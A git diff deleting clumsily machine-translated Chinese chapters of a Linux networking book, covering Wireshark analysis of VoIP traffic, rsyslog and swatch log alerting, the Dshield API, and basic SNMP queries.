不同的手机厂商会有不同的约定,但它几乎总是一个简单的文本字符串,加上手机的 MAC 地址。 攻击者只需在配置/配置服务器和电话听筒之间进行 MiTM 就可以破坏这种电话的配置。 这一点,再加上配置文件的纯文本性质,允许攻击者在下载文件时修改关键字段。 - -## Wireshark 显示过滤器-在捕获中分离特定的数据 - -使用我们的帮助台呼叫文件,我们可以很容易地过滤这个文件,只显示特定的流量。 例如,当故障排除,这是普遍需要看到 SIP 交通——经常 SIP 网关属于一个云提供商通常会设置错误,导致 SIP 认证问题,甚至把 acl 不正确,所以登录初始连接,甚至失败。 你可以在数据包中看到所有这些问题,所以让我们过滤 SIP 协议: - -![Figure 11.21 – Filtering for SIP traffic only (call setup/teardown) ](img/B16336_11_021.jpg) - -图 11.21 -过滤 SIP 流量(呼叫建立/关闭) - -这显示了整个通话设置、振铃、接机和最后挂断(从下往上两行,`BYE`包在`7848`)。 我们也可以通过指定`udp.port==5060`来过滤它。 将其与包捕获过滤器进行比较,注意显示过滤器使用了不同的语法,结果更加灵活。 通常,您会使用一个过滤器捕获您需要的内容,然后在 Wireshark 中再次进行过滤,允许您使用多个串在一起的过滤器深入地获取您真正想要的内容。 - -注意`14`和`5896`之间的`5882`丢失包; 这就是对话本身。 让我们过滤一下: - -![Figure 11.22 – Filtering for RTP traffic (the voice conversation) ](img/B16336_11_022.jpg) - -图 11.22 - RTP 流量的过滤(语音会话) - -您通常只根据协议名称过滤 RTP,因为 RTP 端口在不同的调用中会有所不同,因为它们是在 SIP 设置期间进行协商的。 通过深入研究 RTP 包,我们可以看到,`192.168.123.55`对应的端口是`12200`,`192.168.123.53`对应的端口是`12830`(您可以从 SIP 包中获得名称和扩展): - -![Figure 11.23 – RTP ports in use for this conversation ](img/B16336_11_023.jpg) - -图 11.23 -本次对话中使用的 RTP 端口 - -这两个港口在哪里谈判? 这些是在 SDP 中设置的,它是 SIP 交换的一部分。 第一个 SDP 包在包 4 中,其中位于 x1234 的调用者标识了他们的 RTP 端口。 扩展此数据包,然后滚动到**会话发起协议(INVITE) |消息体|会话描述协议|媒体描述**部分: - -![Figure 11.24 – Caller setting their RTP port ](img/B16336_11_024.jpg) - -图 11.24 -呼叫者设置他们的 RTP 端口 - -当远端手持设备被拿起时,SDP 应答在包 13 中出现。 这是接收端(分机`1411`在`192.168.123.53`)带着端口返回的地方; 即`12830`: - -![Figure 11.25 – Call recipient setting their RTP port ](img/B16336_11_025.jpg) - -图 11.25 -呼叫接收者设置他们的 RTP 端口 - -您可以通过查找`SIP and SDP`作为显示过滤器(包 4 和包 15)来过滤 SDP 包: - -![Figure 11.26 – Filtering for SIP/SDP packets only ](img/B16336_11_026.jpg) - -图 11.26 -只过滤 SIP/SDP 数据包 - -注意,如果您查看第一个包,它是一个失败的邀请。 如果你感兴趣,你可以深入了解为什么会这样! - -希望您可以采用这里学到的方法来分析本节中的各种 VoIP 协议,并将它们应用到生产环境中的具体问题解决中。 - -# 总结 - -现在,我们已经讨论了如何使用包捕获工具,从合理的故障排除角度和攻击者的角度来看都是如此。 特别是,我们讨论了如何定位和配置内容,以便捕获数据包,使用什么工具,以及如何过滤信息的“消防管道”,直到您需要解决问题的内容。 过滤尤其有用,这就是为什么在 Wireshark 中有两个阶段的过滤方法(在捕获时和在显示包时)。 - -我们已经深入地介绍了 VoIP 呼叫的操作,从启动电话到拨打电话,再到捕获并收听通话的音频回放。 现在,您应该对这些工具中为网络、系统和应用管理员提供的功能有了一些了解。 你应该能够借此欣赏真正的掌握,就请记住,最好的学习方式如 Wireshark 或 tcpdump 工具是用它来解决一个问题,或者至少用它来学习其他东西(比如 DHCP 是如何工作的,或者通过网络电话是如何工作的,例如)。 - -在下一章中,我们将讨论网络监控,包括日志记录,使用 SNMP 的网络监控系统,以及使用 NetFlow 和其他基于流的协议来监控和排除网络故障。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 为什么要使用端点主机(跨 SPAN 端口的中间设备)来捕获数据包? -2. 什么时候使用 tcpdump 而不是 Wireshark? -3. RTP 使用的是哪个端口? - -# 进一步阅读 - -要了解更多本章的内容,请参阅以下参考资料: - -* Wireshark 用户指南:[https://www.wireshark.org/docs/wsug_html_chunked/](https://www.wireshark.org/docs/wsug_html_chunked/) -* tcpdump 手册页:[https://www.tcpdump.org/manpages/tcpdump.1.html](https://www.tcpdump.org/manpages/tcpdump.1.html) -* SANS (January 2019) TCPIP and tcpdump cheat sheet:[https://www.sans.org/security-resources/tcpip.pdf](https://www.sans.org/security-resources/tcpip.pdf) -* Wireshark Display cheat sheet:[https://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf](https://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf) -* *格林(2012,11 月 16 日)。 基于 Linux 基础工具的网络流量分析*:[https://www.sans.org/reading-room/whitepapers/protocols/paper/34037](https://www.sans.org/reading-room/whitepapers/protocols/paper/34037) -* *Cheok, R. (2014, July 3). Wireshark: A Guide to Color My Packets*:[https://www.sans.org/reading-room/whitepapers/detection/paper/35272](https://www.sans.org/reading-room/whitepapers/detection/paper/35272) -* *VandenBrink R(2009, 11 月 18 日),Using Cisco Router as a Remote Collector for tcpdump or Wireshark*:https://isc.sans.edu/forums/diary/Using+a+Cisco+Router+as+a+Remote+Collector+for+tcpdump +or+Wireshark/7609/********** \ No newline at end of file diff --git a/docs/linux-net-prof/12.md b/docs/linux-net-prof/12.md deleted file mode 100644 index 8fb416e7..00000000 --- a/docs/linux-net-prof/12.md +++ /dev/null @@ -1,1255 +0,0 @@ -# 十二、Linux 上的网络监控 - -在本章中,我们将讨论各种网络监控和管理协议、工具和方法。 我们将介绍使用 syslog 进行日志记录,它可用于记录不同主机上的相关事件。 这将扩展到基于云的 syslog 事件集合,允许您既总结防火墙流量,又将您的流量模式与互联网上的流量模式进行比较。 - -我们将讨论使用 SNMP 来收集各种网络设备和主机的性能统计数据,这在故障排除和容量规划中都很有用。 - -最后,我们将使用 NetFlow 和其他流量收集协议来寻找交通异常——我们将使用 NetFlow 来跟踪一个典型的事件调查,发现一个大数据外渗事件。 - -特别地,我们将涵盖以下主题: - -* 日志使用 Syslog -* Dshield 项目 -* 在 Linux 上收集 NetFlow 数据 - -# 技术要求 - -在这一章中,我们将讨论网络管理的几个方面。 虽然您可以在本章中重新创建示例构建,但要注意您的数据将有所不同。 因此,虽然使用各种数据类型进行监视或故障排除的方法将保持不变,但要在环境中使用数据(以及您发现的需要解决的任何问题),您将需要不同的搜索词。 - -也就是说,您现有的 Linux Host 或 VM 可以用于构建本章中描述的任何或所有示例系统。 但是,在生产中,您可以将这些功能分散到一个、两个甚至更多的专用服务器上。 如果您使用的是虚拟机为您的实验室,我最好的建议就是从一个新的开始,清廉形象和构建提出从那里,这样,如果你发现任何不同的**网络管理系统**(**nms)与我们合作有用,您可以直接推进到生产。** - - **NMS 部分主要介绍 LibreNMS 应用。 对于这组示例的建议是为该应用下载并安装预构建的 Linux VM 映像(OVA 格式)。 - -# 使用 Syslog 日志 - -**日志**是管理任何系统的关键方面,中央日志几乎是普遍推荐的。 集中记录允许您将来自多个服务器或服务(例如,您的防火墙、负载均衡器和 web 服务器)的日志按时间顺序组合到一个文件中。 这通常可以加速任何故障排除或诊断,因为您甚至可以看到从一个平台移动到另一个平台。 从安全的角度来看,这在**事件响应**(**IR**)中尤其重要。 在响应事件的中,您可能会看到恶意软件通过电子邮件到达,然后作为一个进程执行,然后横向移动(通常称为“东/西”)到其他工作站主机,或者向“北”移动到您的服务器。 此外,在定期(通常每小时)更新之后,当前版本的工具很可能会从日志中挑出昨天可能被忽略的恶意软件。 - -另外,从安全性的角度来看,将日志记录到中心位置会从源主机上获取这些日志条目的副本。 如果源主机被破坏,这可以为您提供一个“更可信”的真相版本。 在最初的妥协之后,攻击者必须花费更多的精力来找到并妥协中央日志服务器。 在许多情况下,可以利用这种延迟来识别并警告攻击已经发生。 通常情况下,防御都是为了延迟攻击者,并在延迟期间向防御者提供尽可能多的细节。 集中式日志记录以及接近实时分析或针对日志条目的触发器就是一个很好的例子。 - -那么,在部署和使用中央日志记录时,我们应该考虑哪些设计和可用性方面的考虑? - -## 日志大小、旋转和数据库 - -关于日志,您将注意到的第一点是它们增长得非常快。 如果您正在防火墙上进行完整的日志记录,即使是在一个小型组织中,这些日志每天都可能很快增长为 gb。 将来自路由器、交换机、服务器和这些服务器上的服务的日志添加到这些日志中,就会变得非常复杂,难以搜索。 - -人们通常做的第一件事是分开登出。 保留一个“一切日志”总是明智的,但是把每个设备或服务日志的副本分开,形成更小的日志也很方便。 防火墙日志的大小可能是 g 字节,而同一时期的路由器日志的大小很可能是 k 字节,通常为个位数。 日志大小通常是一个问题的指示器——例如,如果您的日志通常是每天 3-5 KB,然后突然增加到每天 2-3 MB,这通常意味着有什么地方出了问题。 或者,如果你有 15 个分支机构,它们应该是一样的,但其中一个分支机构的路由器或防火墙的大小是其他分支机构的 3 倍或 10 倍,这也是一个巨大的箭头,告诉你“看这里!” - -通常,人们会采取一种混合的方法——保留包含所有内容的整体日志,为所有内容保留单独的日志,然后合并那些不那么“闲聊”的内容——例如, 只要删除防火墙日志以及 Linux 和 Hypervisor 的主要 syslog 日志,就可以极大地减少日志大小,但仍然保留一个合理的统一日志文件。 - -所有这些占用磁盘空间,每次您以不同的方式切片数据时,可能会再次显著增加空间需求。 请注意数据的总体大小和所使用的卷—您绝对不希望处于攻击会填满日志卷的位置。 这种情况会使日志记录过程完全停止,因此您不知道攻击者去了哪里。 它还可以覆盖事件中的初始事件集,因此您将不知道攻击者最初是如何获得立足点的。 在最坏的情况下,它可以两者兼得。 - -处理这个空间问题的一种方法是将您的日志存档——将 1-5-7-10 天的日志保存为易于搜索的格式,但除此之外,可以将主日志存档并压缩,然后删除其余的日志。 这可以保留传统的文本文件,以及传统的`grep`/`cut`/`sort`/`uniq search`方法,但保持大小可控。 - -一种更现代的方法可能是保留那个单一的“一切”日志文件,并定期进行脱机存储,这样就很容易将日志保存数月或数年——无论您的策略、过程或遵从性需求需要什么。 然后,您可以根据需要从这个中心位置将流量重新转发到 SIEM。 这些日志都可以使用命令行工具进行搜索。 - -要解决日常问题,请解析日志数据并将其存储在数据库中。 这允许更快的搜索,特别是在应用了战略索引之后,还允许您更容易地管理数据的总体大小。 这种方法的关键不是管理磁盘空间,而是(尽可能地)按照的目标时间间隔管理日志卷,这将有助于实现可预测的、可重复的故障诊断和报告窗口。 - -让我们深入研究如何迭代地添加搜索条件,以便在故障排除时找到最终答案。 - -## 日志分析-找到“东西” - -人们在磁盘上有日志后面临的主要挑战是如何使用它们。 具体来说,在进行故障排除或处理安全事故时,您知道日志中有很好的信息,但是如果您刚刚开始进行日志分析,那么知道在哪里搜索、如何搜索以及使用什么工具是一项艰巨的任务。 - -### 去哪里看 - -通常,确定在 OSI 堆栈的哪个位置寻找问题是有意义的。 像重复的 IP 地址是第三层的问题——你可以查看路由器或交换机的日志。 然而,同样的问题可能会从最终用户报告称“web 服务器不稳定”,所以你可能会启动应用日志 web 服务器,它可能会让你花一些时间来工作,通过各种服务器问题的堆栈和设备日志来找出问题的根源。 在最近的一个例子中,我与帮助台一起部署了一个新的打印机,我不小心在打印机配置中错误地使用了一个 web 服务器集群地址。 - -虽然在较大的日志中查找这些问题可能会更快,但搜索一个多 gb 的文本日志很容易每次“尝试”花费 5-10-15 分钟,因为您可以交互式地获得最终的一组搜索词。 同样,在文本日志的情况下,您通常会在“最有可能的”日志中开始搜索,而不是“搜索这里,它有一切”日志。 - -现在我们在正确的地方寻找,我们如何缩小所有这些日志记录以找到“答案”? - -### 如何搜索 - -在大多数情况下,搜索日志将由一系列的`find this`和`exclude that`子句组成。 如果您正在搜索一个文本日志,这通常是`grep –i "include text"`或`grep –i –v "exclude text"`。 注意,使用`–i`将使搜索不区分大小写。 如果你以正确的顺序把足够多的这些串在一起,这通常就足够了。 - -但是,如果您想要“计数”特定的事件,`uniq -c`可能会有所帮助,它将计数唯一的事件。 然后,您可以使用`sort –r`将它们按降序排序。 - -例如,要查找对外部 DNS 服务器的 DNS 查询,您需要搜索您的防火墙日志。 如果防火墙是 Cisco ASA,查询可能看起来类似如下序列: - -![](img/B16336_12_Table_01.jpg) - -我们最后的命令吗? 让我们来看看: - -```sh -cat logfile.txt | grep –v "a.a.a.a" | grep –v "b.b.b.b" | grep "/53 " | sed s/\t/" "/g | tr –s " " | cut -d " " -f 13 | sed s/:/" "/g | sed s/\//" "/g | cut -d " " -f 2 | sort | uniq –c | sort –r -``` - -这看起来很复杂,但请记住,这是迭代完成的—我们分别计算请求中的每个“子句”,并按顺序将它们串在一起。 而且,在许多情况下,我们可能会花费几分钟甚至几个小时来获得一个“刚刚好”的查询,但随后会以一种自动的方式使用该查询多年,所以这些时间是值得花的! - -此外,虽然我们使用 Linux 命令行文本处理命令展示了这个查询,但同样的方法也可以用于数据库日志存储库,甚至用于针对不同防火墙进行查询。 不管目标设备、日志存储库类型是什么,或者我们正在解决的问题是什么,最常见的方法是做以下工作: - -* 使用一些粗略的查询或选择(包括或排除)将数据缩减为更易于管理的量。 -* 做任何处理数据所需的事情,以便可以更具体地查询它。 -* 使用一些更具体的查询来缩小范围。 -* 如果我们要查找计数或最常见的情况,总结数据以匹配所需。 -* 测试最终的查询/选择条件。 -* 将最终的搜索条件插入到需要的任何自动化中,以便以任何需要的频率对这些信息进行总结或报告。 - -本文讨论了如何通过搜索过去事件的日志来诊断过去的问题,但是我们不能使用日志来立即告诉我们何时发生了已知的问题吗? 简短的回答是“是的,绝对的。” 让我们探讨一下这是如何实现的。 - -## 针对特定事件的警报 - -这是“找到该找的东西”对话的一个扩展——可能与“什么时候去找”的话题同时出现。 当然,发现问题的最佳时间是它发生的那一刻——或者甚至是在它发生之前,以便您能够尽快地修复它。 - -为此,通常定义简单的文本字符串来指示问题并在问题发生时向正确的人员发出警报。 您可以在此类警报发生时立即向他们发送电子邮件警报或 SMS 消息,或者收集一天的警报并发送每日摘要—您的方法可能取决于您的环境和所看到的警报的严重性。 - -常见的搜索术语包括以下(几乎总是推荐不区分大小写的搜索): - -![](img/B16336_12_Table_02a.jpg) - -![](img/B16336_12_Table_02b.jpg) - -在所有这些情况下,您可能会想添加一个`not`条款可能过滤掉用户浏览或搜寻这些术语——例如,“糊”会发现所有电池事件,但它也将找到用户寻找蛋糕食谱和棒球新闻故事。 如果你把“http”从的搜索词中排除,通常你会得到你所需要的。 - -有了这些触发器,你就可以在问题变成问题之前阻止一堆问题——这总是一件好事。 - -现在我们已经讨论了搜索和触发器,让我们构建一个日志服务器并真正尝试这些方法! - -## Syslog 服务器示例—Syslog - -要在 Linux 主机上运行基本的 syslog 服务,我们将配置`rsyslog`服务。 默认情况下,该服务侦听端口`514/udp`,尽管端口和协议都是可配置的。 - -日志事件有不同的优先级或严重级别,通常由发送设备设置: - -* `emerg, panic`(Emergency) - Level`0`:最低日志级别。 系统不可用。 通常,这些是您在系统崩溃之前看到的最后消息。 -* `alert`(警报):级别`1`:必须立即采取行动。 这些通常会影响整个系统的运行。 -* `crit`(紧急):级别`2`:与警报一样,必须立即采取行动。 系统的主要功能可能无法运行。 -* `err`(Errors):级别`3`:重要错误,但系统仍处于启动状态。 系统的主要功能可能会受到影响。 -* `warn`(Warnings):级别`4`:警告条件。 -* `notice`(通知):等级`5`:正常但有重要情况。 -* `info`(Information):级别`6`:信息消息。 -* `debug`(Debugging): Level`7`:这是最高的调试级别消息。 - -通常,当您配置一个日志级别时,会包括所有较低的日志级别。 因此,如果在主机上配置级别 4 的 syslog,则还包括 0、1、2 和 3。 这解释了为什么在大多数情况下,您只为任何给定主机配置一个日志级别。 - -很可能`rsyslog`已经安装并在您的 Linux 主机上运行。 让我们检查: - -```sh -~$ sudo systemctl status rsyslog -• rsyslog.service - System Logging Service - Loaded: loaded (/lib/systemd/system/rsyslog.service; enabled; vendor prese> - Active: active (running) since Tue 2021-06-15 13:39:04 EDT; 11min ago -TriggeredBy: • syslog.socket - Docs: man:rsyslogd(8) - https://www.rsyslog.com/doc/ - Main PID: 783 (rsyslogd) - Tasks: 4 (limit: 9334) - Memory: 4.1M - CGroup: /system.slice/rsyslog.service - └─783 /usr/sbin/rsyslogd -n -iNONE -Jun 15 13:39:04 ubuntu systemd[1]: Starting System Logging Service... -Jun 15 13:39:04 ubuntu rsyslogd[783]: imuxsock: Acquired UNIX socket '/run/syst> -Jun 15 13:39:04 ubuntu rsyslogd[783]: rsyslogd's groupid changed to 110 -Jun 15 13:39:04 ubuntu rsyslogd[783]: rsyslogd's userid changed to 104 -Jun 15 13:39:04 ubuntu rsyslogd[783]: [origin software="rsyslogd" swVersion="8.> -Jun 15 13:39:04 ubuntu systemd[1]: Started System Logging Service. -Jun 15 13:39:05 ubuntu rsyslogd[783]: [origin software="rsyslogd" swVersion="8. -``` - -如果您没有安装此服务,那么只需运行以下命令即可: - -```sh -$ sudo apt-get install rsyslog -``` - -安装并运行服务之后,让我们继续进行配置。 编辑`/etc/rsyslog.conf`文件,确保使用`sudo`权限进行此操作。 - -您将发现控制侦听端口的行如下所示。 取消对 UDP 的注释,如下所示(其中包含`imudp`的两行)。 如果你也想在`514/tcp`上接受 syslog,也可以取消注释(这里显示的都是未注释的): - -```sh -# provides UDP syslog reception -module(load="imudp") -input(type="imudp" port="514") -# provides TCP syslog reception -module(load="imtcp") -input(type="imtcp" port="514") -``` - -如果你想限制 syslog 客户特定子网或 DNS 域,你可以通过添加一个`AllowedSender`这个文件,如下所示,下面的“输入”我们只是注释(一定要使用正确的协议根据你添加这条线节): - -```sh -$AllowedSender UDP, 127.0.0.1, 192.168.0.0/16, *.coherentsecurity.com -``` - -接下来,我们将向下滚动到这个文件的`GLOBAL DIRECTIVES`部分。 在这一行之前,我们将添加一行作为“模板”来命名传入的文件并标识它们的位置。 我们可以使用几个`"%"`分隔变量,最常见的如下: - -![](img/B16336_12_Table_03.jpg) - -在我们的配置中,我们将使用主机 IP 作为文件名,然后按日期打破日志: - -```sh -$template remote-incoming-logs, "/var/log/%$year%-%$month%-%$day%/%FROMHOST-IP%.log" -*.* ?remote-incoming-logs -``` - -使用以下命令检查文件语法: - -```sh -$ rsyslogd -N 1 -rsyslogd: version 8.2001.0, config validation run (level 1), master config /etc/rsyslog.conf -rsyslogd: End of config validation run. Bye. -``` - -其他可以用来模板 syslog 文件的变量名称包括: - -![](img/B16336_12_Table_04.jpg) - -现在,保存文件并重新启动`rsyslog`服务: - -```sh -$ sudo systemctl restart rsyslog -``` - -现在,我们要做的就是配置所有的服务器和设备将日志转发到这个服务器,对吧? - -这给我们带来的是一堆非常昂贵的日志(就磁盘空间而言)。 我们真正想要的是从这些日志中获得一些实时警报的方法。 我们将使用名为**的日志跟踪**的过程来实现这一点。 这来自于`tail`命令,当使用以下命令将行添加到文本文件中时,该命令将回显: - -```sh -tail –f < filename.txt -``` - -这是文本的回声,但没有给我们任何提示。 为此,我们必须安装一个名为`swatch`的包(用于“syslog watch”): - -```sh -Apt-get install swatch -``` - -安装完成后,我们将创建一个配置文件来告诉该工具要查找什么。 回头看看我们的常见警告列表,这里显示的`swatch.conf`文件可能是一个好的开始: - -```sh -watchfor /batter/i -echo red -mail=facilities@coherentsecurity.com, subject="ALERT: Battery Issue" -watchfor /temperature|fan|water/i -echo environmental -mail=rob@coherentsecurity.com, subject="ALERT: Environmental Alert" -watchfor /BGP/ -echo routing_issue -mail=rob@coherentsecurity.com, subject="ALERT: Routing Issue" -watchfor /SEC_LOGIN_FAILED/ -echo security_event -mail=rob@coherentsecurity.com, subject="ALERT: Administrative Login Failed" -continue -watchfor /SEC_LOGIN_FAILED/ -threshold type=threshold,count=5,seconds=600 -echo security_event -mail=rob@coherentsecurity.com, subject="ALERT: Possible Password Stuffing Attack in Progress" -``` - -这里有几件事要注意——我们要找的文本在`watchfor`子句中。 注意,在每种情况下,要监视的文本都是一个“正则表达式”,即`regex`。 `regex`语法非常灵活,既可以非常简单(如前面所示),也可以复杂到难以理解。 在本章的末尾,我引用了一些正则表达式。 - -在我们的示例中,第一个正则表达式以`/I`结束,这告诉`watchfor`命令这是一个不区分大小写的搜索。 注意,这是相当耗费 cpu 的,所以如果知道匹配文本中的情况,最好将其正确地放入正则表达式中。 - -在第二个子句中,注意我们有三个不同的搜索词,用`|`字符分隔,这是一个逻辑上的“或”——换句话说,“温度、风扇或水”。 - -最后两个例子是相互联系的。 第一个会查找失败的登录,并在每次登录失败时提醒您。 但它有一个`continue`命令,告诉 swatch 继续。 下一个子句匹配相同的文本,但有一个阈值——如果 swatch 在 5 分钟内看到 5 次失败的登录尝试,它就识别出可能的密码填充攻击。 - -您还可以让匹配的日志语句使用`exec`命令而不是`mail`来触发脚本。 - -最后,我们要开始 swatch 过程: - -```sh -$swatchdog –c /path/swatch.conf –t /path/logfile.log -``` - -这个命令会带来两点: - -* 我们已经提到了日志大小的问题,因此,当前存储日志的路径不应该与`/var/log`在同一个分区中,因为`/var/log`只对本地日志设置大小。 它绝对不应该与引导分区或任何其他系统分区在同一个分区中。 填满 syslog 分区会导致日志丢失,但也会导致服务器崩溃或无法启动! 我们希望将我们的日志放在一个独立的、专用的分区中,以便存储我们需要的内容。 归档日志可以在同一个分区中,也可以在第二个分区中,仅用于归档(可能是 zip 压缩的)日志。 -* 我们对`rsyslog`的当前配置需要 sudo 权限才能查看日志。 因此,我们要么需要修改文件和目录权限,要么需要使用 sudo 运行`swatchdog`。 两者都有一定程度的风险,但是为了便于使用日志进行故障排除,让我们更改文件权限。 这可以在`/etc/rsyslog.conf`文件中通过修改以下行完成: - -```sh -$FileOwner syslog -$FileGroup adm -$FileCreateMode 0640 -*.* -$DirCreateMode 0755 -*.* -$Umask 0022 -$PrivDropToUser syslog -$PrivDropToGroup syslog -``` - -在大多数情况下,您可以将`FileGroup`命令更改到一个不同的组,并将您的各种管理人员放入该组,以及您运行“swatch”设置的任何帐户。 - -或者,您可以更改 File 和 Dir`CreateMode`行,可能一直包括`0777`中的“每个人”。 由于日志条目总是包含敏感信息,我不建议这样做——作为一个渗透测试人员,在日志文件中找到密码是相当常见的——令人惊讶的是,人们经常在`userid`字段中输入他们的密码,然后用正确的信息再次尝试! - -您仍然可以在目录名中使用日期,但通常更容易为活动文件保持一致的文件和目录名集合。 这使得日志监控工具和故障排除人员更容易找到“今天”的问题。 在存档脚本中使用日期值意味着历史日志文件要么在一个“日期”目录中,要么有一个“日期”ZIP 文件名。 - -话虽如此,我们修改后的 swatch 命令看起来将类似如下: - -```sh -$swatchdog –c /path/swatch.conf –t /path/logfile.log --daemon -``` - -注意,我们在命令中添加了`–d`—一旦调试完毕并正常工作,您将希望这个参数在后台运行命令(作为一个守护进程)。 - -可能有更多的工作,你将需要做的样布生产中——例如,将这些权限“这样”为您的环境,通过您的网络库存,并确保你有中央日志记录你所有的装备,让日志分区大小,让你的日志轮换工作。 不过,我们所涵盖的内容应该足以让你上路了; 这些其他工作的大部分将特定于您的环境。 - -随着我们组织的日志的覆盖,现在出现了其他问题:我们的事件与其他组织相比如何? 我们会像其他人一样看到同样的袭击吗,或者我们可能是特定事情的目标? 我们怎样才能得到这个信息? 我们将在下一节中讨论这个问题。 - -# Dshield 项目 - -的 Dshield 项目维护的网络风暴中心的人[(https://isc.sans.edu),并允许参与者他们(匿名)日志转发给一个中央存储库,它们聚合提供良好的照片在互联网上发生的事情。”](https://isc.sans.edu) - -具体来说,所转发的信息是被防火墙阻止的连接尝试。 如果你不想使用你的实际防火墙日志,也可以使用一个专用的 Dshield 传感器。 参与说明请参见:[https://isc.sans.edu/howto.html](https://isc.sans.edu/howto.html)。 - -这些聚合的数据让我们看到恶意参与者正在寻找哪些端口,并打算利用它们。 参与者的地址是匿名的信息。 各类高级报表可在此查看:[https://isc.sans.edu/reports.html](https://isc.sans.edu/reports.html)。 - -特别是,您可以深入到该页面上的任何“前 10 个端口”,以查看扫描的最受欢迎端口的活动随时间的变化。 例如:[https://isc.sans.edu/port.html?port=2222](https://isc.sans.edu/port.html?port=2222),如下截图所示: - -![Figure 12.1 – Dshield data for one port](img/B16336_12_001.jpg) - -图 12.1 -一个端口的 Dshield 数据 - -从这个模式中,您可以看到如果您有可能要对其进行取证的特定流量,则如何查询任何端口。 - -此外,如果您愿意使用脚本或应用来使用这些聚合的信息,则可以通过 API 来查询这些信息。 Dshield API 文档如下:[https://isc.sans.edu/api/](https://isc.sans.edu/api/)。 - -例如,为了收集端口`2222`的汇总信息,我们可以使用`curl`(仅作为示例): - -```sh -$ curl –s –insecure https://isc.sans.edu/api/port/2222 | grep –v encoding\= | xmllint –format – - - - 2222 - - 2021-06-24 - 122822 - 715 - 3004 - 100 - 0 - 2021-06-24 - 2222 - - - - rockwell-csp2 - Rockwell CSP2 - - - AMD - - - - -``` - -因为在本例中数据是以 XML 格式返回的,所以您可以使用标准库或语言组件使用它。 您还可以将返回格式更改为 JSON、文本或 PHP。 在某些情况下,数据本身适用于逗号或制表符分隔的格式(CSV、制表符)。 - -要更改格式,只需将`?format_type`添加到查询中,其中`format_type`可以是 JSON、文本、PHP,或者在某些情况下,CSV 或选项卡。 - -每个用户都有自己的 web 门户,该门户显示了他们自己设备的这些相同的统计数据——这些数据在故障排除中很有价值,或者可以将其与聚合数据进行对比,以查看您的组织是否可能成为攻击的目标。 但这种方法的优势在于汇总的数据,它能很好地描绘出某一天互联网的“天气”以及整体的“气候”趋势。 - -现在我们有当地日志配置和防火墙日志聚合,从而获得更好的网络流量分析,让我们考虑一下其他网络管理协议和方法,从**简单网络管理协议(SNMP**)管理/性能和正常运行时间。**** - - **## 通过 SNMP 管理网络设备 - -在其核心,SNMP 是一种方式从目标网络设备收集信息。 大多数情况下,这是由基于服务器的应用完成的,但您当然可以从命令行查询 SNMP。SNMP 有几个版本,其中两个是目前常用的。 - -SNMPv2c (2c 版本)是对最初的 v1 协议的轻微改进,但仍然是一种“老派”的数据收集方法——SNMP 查询和响应都是在 UDP 上以明文传输的。 使用密码保护(称为*社区字符串*),但这也是以明文发送,所以 Ettercap 等工具可以很容易地收集这些,甚至经常推荐“长和复杂的“字符串不保护你如果你攻击者可以简单地剪切和粘贴重用。 此外,默认的团体字符串(用于只读访问的公共字符串和用于读写访问的私有字符串)通常都保留在原处,因此仅使用这些字符串进行查询通常可以为攻击者带来良好的结果。 通常建议在目标设备上使用 ACL 保护对 SNMP 的访问。 然而,由于执行 ARP 中毒攻击非常容易,一个定位良好的攻击者也可以很容易地绕过这些 acl。 - -SNMPv3 是该协议的最新版本,它增加了一个最受欢迎的加密特性。 与 SNMPv2c 提供的“读或读/写”访问控制不同,它还提供了一种更细致入微的访问控制方法。 - -正如我们前面提到的,SNMP(任何一个版本)都可以用来“轮询”目标设备以获取信息。 此外,该设备还可以主动向 SNMP 服务器或日志采集器发送 SNMP“trap”。 SNMP 轮询使用`161/udp`,SNMPtrap 发送到`162/udp`(尽管 TCP 可以配置)。 - -介绍了一些背景知识之后,让我们做几个示例查询。 - -### 基本的 SNMP 查询 - -在你可以在 Linux 上执行命令行查询之前,你可能需要安装`snmp`包: - -```sh -$ sudo apt-get install snmp -``` - -现在,我们可以创建一个示例查询。 在我们的第一个例子中,我收集了 IOS 版本的实验室开关: - -```sh -$ snmpget –v2c –c 192.168.122.7 1.3.6.1.2.1.1.1.0 -iso.3.6.1.2.1.1.1.0 = STRING: "SG550XG-8F8T 16-Port 10G Stackable Managed Switch" -``` - -要收集系统正常运行时间(以秒为单位,以人类可读的时间戳为单位),请使用以下命令: - -```sh -$ snmpget -v2c -c 192.168.122.7 1.3.6.1.2.1.1.3.0 -iso.3.6.1.2.1.1.3.0 = Timeticks: (1846451800) 213 days, 17:01:58.00 -``` - -那么接口的统计数据呢? 让我们从名字开始: - -```sh -snmpget -v2c -c 192.168.122.7 .1.3.6.1.2.1.2.2.1.2.2 -iso.3.6.1.2.1.2.2.1.2.2 = STRING: "TenGigabitEthernet1/0/2" -``` - -然后,我们可以得到数据包进出(单播): - -```sh -$ snmpget -v2c -c 192.168.122.7 .1.3.6.1.2.1.2.2.1.11.2 -iso.3.6.1.2.1.2.2.1.11.2 = Counter32: 4336153 -$ snmpget -v2c -c public 192.168.122.7 .1.3.6.1.2.1.2.2.1.17.2 -iso.3.6.1.2.1.2.2.1.17.2 = Counter32: 5940727 -``` - -您已经理解了这一点——几乎每个常见参数都有一个 OID。 但我们怎么才能把它们都弄清楚呢? - -首先,这个在 RFC 1213 中是标准化的,MIB-2 是大多数供应商作为“最小公分母”实现支持的最新定义集。 其次,定义是分层的。 这显示了基本树的“顶部”,并突出显示了**mib-2**的 OID: - -![Figure 12.2 – SNMP OID tree, showing mib-2](img/B16336_12_002.jpg) - -图 12.2 - SNMP OID 树,显示 mib-2 - -当有一组接口时,将有一个计数,然后是每个接口统计信息的表(按接口索引)。 如果使用`snmpwalk`而不是`snmpget`,则可以收集整个列表以及每个条目的所有子参数。 这显示了 mib-2 的`ifTable`(接口表)部分的开始: - -![Figure 12.3 – SNMP OID tree, showing interface information (ifTable)](img/B16336_12_003.jpg) - -图 12.3 - SNMP OID 树,显示接口信息(ifTable) - -此外,它们还维护 oid 的“起点”列表,每个供应商都有其自定义的项目树。 这里显示的是 OID 树的**私有**分支的顶部。 请注意,在树的顶部,你会发现一些组织可能已经被收购,或者由于这样或那样的原因在企业环境中不再常见: - -![Figure 12.4 – SNMP OID tree, showing the Vendor OID section](img/B16336_12_004.jpg) - -图 12.4 - SNMP OID 树,显示 Vendor OID 部分 - -这个模型或多或少很好地结合在一起,各种设备维护它们的各种计数器,等待一个有效的服务器查询这些值。 - -如果您有一个起始点,您可以使用`snmpwalk`命令从该起始点向下遍历 oid 